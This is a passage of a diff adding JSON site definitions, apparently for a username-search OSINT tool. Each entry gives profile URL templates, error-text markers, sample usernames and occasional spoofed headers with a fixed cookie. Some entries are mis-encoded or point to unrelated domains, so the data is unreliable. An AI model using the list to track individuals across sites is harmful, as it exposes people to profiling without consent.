"country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW\n403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.excelworld.ru/index/8-0-{}", + "urlMain": "http://www.excelworld.ru", + "usernameON": "Mazila", + "bad_site": "" + }, + "Exo": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://exo.at.ua/index/8-0-{}", + "urlMain": "https://exo.at.ua", + "usernameON": "lara007", + "bad_site": "" + }, + "Exploretalent": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "info-text\">", + "errorMsg2": "userNode\":{}},\"", + "errorMsg3": "undefined", + "errorTyp��": "message", + "url": "https://www.exploretalent.com/{}", + "urlMain": "https://www.exploretalent.com", + "usernameON": "klaus", + "bad_site": "" + }, + "EybooksTO": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 resultados", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://eybooks.to/search/?q={}&quick=1&type=core_members", + "urlMain": "https://eybooks.to", + "usernameON": "invers0r", + "bad_site": 1 + }, + "EyeEm": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "blue | EyeEm Photographer", + "errorMsg2": "Not Found (404)", + "errorTyp��": "message", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.eyeem.com/u/{}", + "urlMain": "https://www.eyeem.com/", + "usernameON": "blue", + "bad_site": "" + }, + "F-droid": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.f-droid.org/u/{}/summary", + "urlMain": "https://forum.f-droid.org", + "usernameON": "tip", + "bad_site": "" + }, + "F3_cool": { + "country": "🇱🇻", + "country_klas": "LV", + "errorTyp��": "status_code", + "url": "https://f3.cool/{}/", + "urlMain": "https://f3.cool/", + "usernameON": "blue", + "bad_site": "" + }, + "F6s": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "404", + "errorMsg2": "We think you might", + "errorMsg3": "unavailable in your location", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.f6s.com/{}", + "urlMain": "https://www.f6s.com", + "usernameON": "adam", + "comments": "RUblock", + "bad_site": "" + }, + "F95zone": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://f95zone.to/members/?username={}", + "urlMain": "https://f95zone.to", + "usernameON": "retro", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "FA-Wiki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://wiki.fa100.ru/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "http://wiki.fa100.ru", + "usernameON": "Anatolyk", + "comments": "Oplata", + "bad_site": "" + }, + "Fabswingers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.fabswingers.com/profile/{}", + "urlMain": "https://www.fabswingers.com", + "usernameON": "adam", + "bad_site": "" + }, + "Facebook (деятельность запрещена в России)": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.facebook.com/{}/", + "urlMain": "https://www.facebook.com/", + "usernameON": "RED", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "comments": "ZAK_user", + "bad_site": "" + }, + "Facenama": { + "country": "🇮🇳", + "country_klas": "IN", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://facenama.com/{}", + "urlMain": "https://facenama.com/", + "usernameON": "blue", + "bad_site": 1 + }, + "Fadecloudmc": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fadecloudmc.com/forums/members/?username={}", + "urlMain": "https://fadecloudmc.com", + "usernameON": "jordan", + "bad_site": 1, + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fallout_reactor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://fallout.reactor.cc/user/{}", + "urlMain": "https://fallout.reactor.cc", + "usernameON": "Xell108", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Fanacmilan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "NameBright - Domain Expired", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fanacmilan.com/index/8-0-{}", + "urlMain": "http://fanacmilan.com", + "usernameON": "milanfan97", + "bad_site": 1 + }, + "Fandom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.fandom.com/u/{}", + "urlMain": "https://www.fandom.com/", + "usernameON": "Jungypoo", + "bad_site": "" + }, + "FanficsLandia": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fanficslandia.com/usuario/?username={}", + "urlMain": "https://fanficslandia.com", + "usernameON": "sensy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Fanlore": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "http://fanlore.org/wiki/User:{}", + "urlMain": "http://fanlore.org", + "usernameON": "red", + "bad_site": "" + }, + "Fanpop": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fanpop.com/fans/{}", + "urlMain": "https://www.fanpop.com/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Fansmetrics": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://fansmetrics.com/en/onlyfans/{}", + "urlMain": "https://fansmetrics.com", + "urlProbe": "https://subseeker.co/creators/{}", + "usernameON": "itsmoremia", + "bad_site": "" + }, + "Fantlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найдено ни одного посетителя", + "errorMsg2": "

FantLab ru

", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

", + "errorMsg2": "

", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

\n\n\n0", + "errorMsg3": "Виктор Николаевич", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + 